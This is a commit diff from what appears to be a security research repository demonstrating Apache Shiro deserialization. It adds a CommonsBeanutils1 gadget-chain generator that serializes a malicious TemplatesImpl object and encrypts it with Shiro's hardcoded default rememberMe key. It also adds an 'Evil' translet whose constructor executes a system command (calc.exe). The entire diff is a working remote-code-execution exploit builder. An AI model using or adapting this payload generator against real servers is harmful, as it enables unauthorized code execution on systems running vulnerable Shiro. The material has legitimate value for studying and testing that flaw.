common

Author: SummerSec

shiro/shiro-deser/pom.xml

@@ -62,6 +62,11 @@
             <artifactId>commons-collections4</artifactId>
             <version>4.0</version>
         </dependency>
+        <dependency>
+            <groupId>org.javassist</groupId>
+            <artifactId>javassist</artifactId>
+            <version>3.27.0-GA</version>
+        </dependency>
     </dependencies>
 
     <build>

shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/CommonsBeanutils1Shiro.java

@@ -0,0 +1,73 @@
+package summersec.shirodemo.Payload;
+
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import org.apache.commons.beanutils.BeanComparator;
+
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Field;
+import java.util.PriorityQueue;
+import javassist.ClassPool;
+import javassist.CtClass;
+import org.apache.shiro.crypto.AesCipherService;
+import org.apache.shiro.util.ByteSource;
+
+/**
+ * @ClassName: CommonsBeanutils1Shiro
+ * @Description: TODO
+ * @Author: Summer
+ * @Date: 2021/5/19 16:23
+ * @Version: v1.0.0
+ * @Description: 参考https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
+ **/
+
+
+public class CommonsBeanutils1Shiro {
+
+    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
+        Field field = obj.getClass().getDeclaredField(fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+    public byte[] getPayload(byte[] clazzBytes) throws Exception {
+        TemplatesImpl obj = new TemplatesImpl();
+        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
+        setFieldValue(obj, "_name", "HelloTemplatesImpl");
+        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
+
+        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
+        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        // stub data for replacement later
+        queue.add("1");
+        queue.add("1");
+
+        setFieldValue(comparator, "property", "outputProperties");
+        setFieldValue(queue, "queue", new Object[]{obj, obj});
+
+        // ==================
+        // 生成序列化字符串
+        ByteArrayOutputStream barr = new ByteArrayOutputStream();
+        ObjectOutputStream oos = new ObjectOutputStream(barr);
+        oos.writeObject(queue);
+        oos.close();
+
+        return barr.toByteArray();
+    }
+
+    public static void main(String[] args) throws Exception {
+//        ClassPool pool = ClassPool.getDefault();
+//        CtClass clazz = pool.get(Evil.class.getName());
+        byte[] bytes = Evil.class.getName().getBytes();
+        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(bytes);
+//        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
+
+        AesCipherService aes = new AesCipherService();
+        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
+
+        ByteSource ciphertext = aes.encrypt(payloads, key);
+        System.out.printf(ciphertext.toString());
+    }
+
+}

shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/Evil.java

@@ -0,0 +1,29 @@
+package summersec.shirodemo.Payload;
+
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+/**
+ * @ClassName: Evil
+ * @Description: TODO
+ * @Author: Summer
+ * @Date: 2021/5/19 16:34
+ * @Version: v1.0.0
+ * @Description:
+ **/
+
+
+public class Evil extends AbstractTranslet {
+    @Override
+    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
+
+    @Override
+    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
+
+    public Evil() throws Exception {
+        System.out.println("Hello TemplatesImpl");
+        Runtime.getRuntime().exec("calc.exe");
+    }
+}